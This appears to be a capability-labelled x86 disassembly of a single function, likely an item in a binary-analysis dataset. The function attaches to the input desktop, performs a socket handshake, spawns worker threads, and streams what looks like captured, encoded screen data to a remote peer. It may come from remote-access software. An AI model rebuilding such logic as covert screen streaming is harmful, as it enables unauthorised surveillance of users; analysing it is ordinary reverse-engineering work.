Function at 0x401fa2
Capabilities:
Create thread
Receive data
Receive data on socket
Send data
Send data on socket
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9e8
push esi
push edi
push ebx
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x68]
mov dword [ebp - 4], eax
push 0x80000000
push 0
push 0
call sub.USER32.dll_OpenInputDesktop
mov dword [ebp - 0x610], eax
push dword [ebp - 0x610]
call sub.USER32.dll_SetThreadDesktop
lea ebx, [ebp - 0x304]
lea edi, [ebp - 0x604]
push esi
call fcn.00401284
or eax, eax
je 0x401ff7
push eax
call fcn.00402b8e
jmp 0x4022d0
push 0
push 0
push 0
push 0
call sub.KERNEL32.dll_CreateEventA
mov dword [esi + 0x90], eax
push 0
push 0
push 0
push 0
call sub.KERNEL32.dll_CreateEventA
mov dword [esi + 0x94], eax
push 0
push 0x300
lea eax, [ebp - 0x304]
push eax
push dword [esi + 0x68]
call sub.ws2_32.dll_recv
cmp eax, 0xffffffff
je 0x40203c
or eax, eax
jne 0x402041
jmp 0x4022d0
movzx edx, byte [ebx]
cmp edx, 0x21
je 0x40204e
jmp 0x4022d0
movzx eax, word [ebx + 1]
mov dword [esi + 0x70], eax
mov byte [edi], 0x21
push 0x2c
lea eax, [esi + 0x38]
push eax
lea eax, [edi + 1]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0
push 0x2d
lea eax, [ebp - 0x604]
push eax
push dword [esi + 0x68]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
jne 0x402087
jmp 0x4022d0
push 0
push 0x300
lea eax, [ebp - 0x304]
push eax
push dword [esi + 0x68]
call sub.ws2_32.dll_recv
cmp eax, 0xffffffff
je 0x4020a6
or eax, eax
jne 0x4020ab
jmp 0x4022d0
movzx edx, byte [ebx]
cmp edx, 0x31
je 0x4020b8
jmp 0x4022d0
lea eax, [ebp - 0x614]
push eax
push 0
push esi
push 0x40293d
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [esi + 0x74], eax
lea eax, [ebp - 0x614]
push eax
push 0
push esi
push 0x4024ac
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push eax
call sub.KERNEL32.dll_CloseHandle
lea eax, [ebp - 0x614]
push eax
push 0
push esi
push 0x402317
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push eax
call sub.KERNEL32.dll_CloseHandle
push dword [esi + 0x14]
push esi
call fcn.00401554
push 7
push dword [esi + 0x14]
push esi
call fcn.004019c9
push dword [esi + 0x34]
push dword [esi + 0x30]
push dword [esi + 0x20]
push dword [esi + 0x14]
call fcn.00401a21
mov eax, dword [esi + 0x2c]
shr eax, 1
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x64]
mov dword [edi + 4], eax
add edi, 8
mov dword [ebp - 0x60c], 0x1fa4000
push 9
push dword [esi + 0x2c]
push dword [esi + 0x20]
lea eax, [ebp - 0x60c]
push eax
push edi
call fcn.00402f00
sub edi, 8
mov eax, dword [ebp - 0x60c]
mov dword [edi], eax
add eax, 8
mov dword [esi + 0x80], eax
push dword [esi + 0x80]
push dword [esi + 0x64]
push dword [esi + 0x68]
call fcn.00402641
mov dword [esi + 0x84], 0
mov dword [esi + 0x88], 0
jmp 0x4022c3
push 0x4098d8
call sub.KERNEL32.dll_EnterCriticalSection
push dword [esi + 0x18]
push esi
call fcn.00401554
or eax, eax
je 0x4021f0
cmp eax, 0x887a0026
jne 0x4021e1
push 0x4098d8
call sub.KERNEL32.dll_LeaveCriticalSection
lea eax, [ebp - 0x610]
push eax
push esi
call fcn.00402cb1
jmp 0x4022c3
push 0x4098d8
call sub.KERNEL32.dll_LeaveCriticalSection
jmp 0x4022d0
push 7
push dword [esi + 0x18]
push esi
call fcn.004019f4
push dword [esi + 0x34]
push dword [esi + 0x30]
push dword [esi + 0x24]
push dword [esi + 0x18]
call fcn.00401a21
push dword [esi + 0x1c]
push dword [esi + 0x24]
push dword [esi + 0x20]
push esi
call fcn.00401696
push 0x4098d8
call sub.KERNEL32.dll_LeaveCriticalSection
push dword [esi + 0x90]
call sub.KERNEL32.dll_SetEvent
push 0xa
call sub.KERNEL32.dll_Sleep
push 0x4098d8
call sub.KERNEL32.dll_EnterCriticalSection
push dword [esi + 0x14]
push esi
call fcn.00401554
or eax, eax
je 0x40227c
cmp eax, 0x887a0026
jne 0x402270
push 0x4098d8
call sub.KERNEL32.dll_LeaveCriticalSection
lea eax, [ebp - 0x610]
push eax
push esi
call fcn.00402cb1
jmp 0x4022c3
push 0x4098d8
call sub.KERNEL32.dll_LeaveCriticalSection
jmp 0x4022d0
push 7
push dword [esi + 0x14]
push esi
call fcn.004019f4
push dword [esi + 0x34]
push dword [esi + 0x30]
push dword [esi + 0x20]
push dword [esi + 0x14]
call fcn.00401a21
push dword [esi + 0x28]
push dword [esi + 0x20]
push dword [esi + 0x24]
push esi
call fcn.00401696
push 0x4098d8
call sub.KERNEL32.dll_LeaveCriticalSection
push dword [esi + 0x94]
call sub.KERNEL32.dll_SetEvent
push 0xa
call sub.KERNEL32.dll_Sleep
cmp dword [esi + 0x84], 1
jne 0x4021a5
lea eax, [ebp - 0x618]
push eax
push dword [esi + 0x74]
call sub.KERNEL32.dll_GetExitCodeThread
push dword [ebp - 0x618]
push dword [esi + 0x74]
call sub.KERNEL32.dll_TerminateThread
push dword [esi + 0x74]
call sub.KERNEL32.dll_CloseHandle
push esi
call fcn.00402767
push dword [ebp - 0x610]
call sub.USER32.dll_CloseDesktop
mov dword [0x4098d4], 0
pop ebx
pop edi
pop esi
leave
ret 4